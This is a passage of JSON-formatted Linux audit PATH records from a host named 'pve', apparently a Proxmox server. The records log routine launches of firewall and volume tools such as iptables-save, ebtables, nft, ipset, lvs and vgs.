nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355536,"@rawstring":"node=pve type=PATH msg=audit(1781964355.536:60670): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355520,"@rawstring":"node=pve type=PATH msg=audit(1781964355.520:60669): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355520,"@rawstring":"node=pve type=PATH msg=audit(1781964355.520:60669): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355513,"@rawstring":"node=pve type=PATH msg=audit(1781964355.513:60668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355513,"@rawstring":"node=pve type=PATH msg=audit(1781964355.513:60668): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355491,"@rawstring":"node=pve type=PATH msg=audit(1781964355.491:60667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355491,"@rawstring":"node=pve type=PATH msg=audit(1781964355.491:60667): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355488,"@rawstring":"node=pve type=PATH msg=audit(1781964355.488:60666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355488,"@rawstring":"node=pve type=PATH msg=audit(1781964355.488:60666): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355488,"@rawstring":"node=pve type=PATH msg=audit(1781964355.488:60665): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355469,"@rawstring":"node=pve type=PATH msg=audit(1781964355.469:60664): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355469,"@rawstring":"node=pve type=PATH msg=audit(1781964355.469:60664): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355469,"@rawstring":"node=pve type=PATH msg=audit(1781964355.469:60664): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355446,"@rawstring":"node=pve type=PATH msg=audit(1781964355.446:60663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355446,"@rawstring":"node=pve type=PATH msg=audit(1781964355.446:60663): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355428,"@rawstring":"node=pve type=PATH msg=audit(1781964355.428:60662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355428,"@rawstring":"node=pve type=PATH msg=audit(1781964355.428:60662): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355419,"@rawstring":"node=pve type=PATH msg=audit(1781964355.419:60661): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355419,"@rawstring":"node=pve type=PATH msg=audit(1781964355.419:60661): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355390,"@rawstring":"node=pve type=PATH msg=audit(1781964355.390:60660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355390,"@rawstring":"node=pve type=PATH msg=audit(1781964355.390:60660): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355366,"@rawstring":"node=pve type=PATH msg=audit(1781964355.366:60659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355366,"@rawstring":"node=pve type=PATH msg=audit(1781964355.366:60659): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964354176,"@rawstring":"node=pve type=PATH msg=audit(1781964354.176:60658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964354176,"@rawstring":"node=pve type=PATH msg=audit(1781964354.176:60658): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964354098,"@rawstring":"node=pve type=PATH msg=audit(1781964354.098:60657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964354098,"@rawstring":"node=pve type=PATH msg=audit(1781964354.098:60657): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PATH msg=audit(1781964353.998:60656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PATH msg=audit(1781964353.998:60656): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PATH msg=audit(1781964353.998:60655): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=PATH msg=audit(1781964353.998:60654): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PATH msg=audit(1781964353.983:60653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PATH msg=audit(1781964353.983:60653): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PATH msg=audit(1781964353.983:60652): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964353983,"@rawstring":"node=pve type=PATH msg=audit(1781964353.983:60651): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348926,"@rawstring":"node=pve type=PATH msg=audit(1781964348.926:60650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348926,"@rawstring":"node=pve type=PATH msg=audit(1781964348.926:60650): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348926,"@rawstring":"node=pve type=PATH msg=audit(1781964348.926:60649): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348925,"@rawstring":"node=pve type=PATH msg=audit(1781964348.925:60648): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PATH msg=audit(1781964348.902:60647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PATH msg=audit(1781964348.902:60647): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PATH msg=audit(1781964348.902:60646): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964348902,"@rawstring":"node=pve type=PATH msg=audit(1781964348.902:60645): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345318,"@rawstring":"node=pve type=PATH msg=audit(1781964345.318:60644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345318,"@rawstring":"node=pve type=PATH msg=audit(1781964345.318:60644): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345311,"@rawstring":"node=pve type=PATH msg=audit(1781964345.311:60643): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345311,"@rawstring":"node=pve type=PATH msg=audit(1781964345.311:60643): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345309,"@rawstring":"node=pve type=PATH msg=audit(1781964345.309:60642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345309,"@rawstring":"node=pve type=PATH msg=audit(1781964345.309:60642): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345309,"@rawstring":"node=pve type=PATH msg=audit(1781964345.309:60641): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345300,"@rawstring":"node=pve type=PATH msg=audit(1781964345.300:60640): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345300,"@rawstring":"node=pve type=PATH msg=audit(1781964345.300:60640): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345300,"@rawstring":"node=pve type=PATH msg=audit(1781964345.300:60640): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345288,"@rawstring":"node=pve type=PATH msg=audit(1781964345.288:60639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345288,"@rawstring":"node=pve type=PATH msg=audit(1781964345.288:60639): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345275,"@rawstring":"node=pve type=PATH msg=audit(1781964345.275:60638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345275,"@rawstring":"node=pve type=PATH msg=audit(1781964345.275:60638): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345260,"@rawstring":"node=pve type=PATH msg=audit(1781964345.260:60637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345260,"@rawstring":"node=pve type=PATH msg=audit(1781964345.260:60637): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345250,"@rawstring":"node=pve type=PATH msg=audit(1781964345.250:60636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345250,"@rawstring":"node=pve type=PATH msg=audit(1781964345.250:60636): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345243,"@rawstring":"node=pve type=PATH msg=audit(1781964345.243:60634): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345243,"@rawstring":"node=pve type=PATH msg=audit(1781964345.243:60634): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345236,"@rawstring":"node=pve type=PATH msg=audit(1781964345.236:60633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345236,"@rawstring":"node=pve type=PATH msg=audit(1781964345.236:60633): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345227,"@rawstring":"node=pve type=PATH msg=audit(1781964345.227:60632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345227,"@rawstring":"node=pve type=PATH msg=audit(1781964345.227:60632): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345220,"@rawstring":"node=pve type=PATH msg=audit(1781964345.220:60631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345220,"@rawstring":"node=pve type=PATH msg=audit(1781964345.220:60631): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345203,"@rawstring":"node=pve type=PATH msg=audit(1781964345.203:60630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345203,"@rawstring":"node=pve type=PATH msg=audit(1781964345.203:60630): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345188,"@rawstring":"node=pve type=PATH msg=audit(1781964345.188:60629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345188,"@rawstring":"node=pve type=PATH msg=audit(1781964345.188:60629): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345168,"@rawstring":"node=pve type=PATH msg=audit(1781964345.168:60628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345168,"@rawstring":"node=pve type=PATH msg=audit(1781964345.168:60628): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345153,"@rawstring":"node=pve type=PATH msg=audit(1781964345.153:60627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345153,"@rawstring":"node=pve type=PATH msg=audit(1781964345.153:60627): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345146,"@rawstring":"node=pve type=PATH msg=audit(1781964345.146:60626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345146,"@rawstring":"node=pve type=PATH msg=audit(1781964345.146:60626): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345140,"@rawstring":"node=pve type=PATH msg=audit(1781964345.140:60625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345140,"@rawstring":"node=pve type=PATH msg=audit(1781964345.140:60625): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345138,"@rawstring":"node=pve type=PATH msg=audit(1781964345.138:60624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345138,"@rawstring":"node=pve type=PATH msg=audit(1781964345.138:60624): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345138,"@rawstring":"node=pve type=PATH msg=audit(1781964345.138:60623): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345132,"@rawstring":"node=pve type=PATH msg=audit(1781964345.132:60622): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345132,"@rawstring":"node=pve type=PATH msg=audit(1781964345.132:60622): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345132,"@rawstring":"node=pve type=PATH msg=audit(1781964345.132:60622): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345122,"@rawstring":"node=pve type=PATH msg=audit(1781964345.122:60621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345122,"@rawstring":"node=pve type=PATH msg=audit(1781964345.122:60621): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345110,"@rawstring":"node=pve type=PATH msg=audit(1781964345.110:60620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345110,"@rawstring":"node=pve type=PATH msg=audit(1781964345.110:60620): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345100,"@rawstring":"node=pve type=PATH msg=audit(1781964345.100:60619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345100,"@rawstring":"node=pve type=PATH msg=audit(1781964345.100:60619): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345087,"@rawstring":"node=pve type=PATH msg=audit(1781964345.087:60618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964345087,"@rawstring":"node=pve type=PATH msg=audit(1781964345.087:60618): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 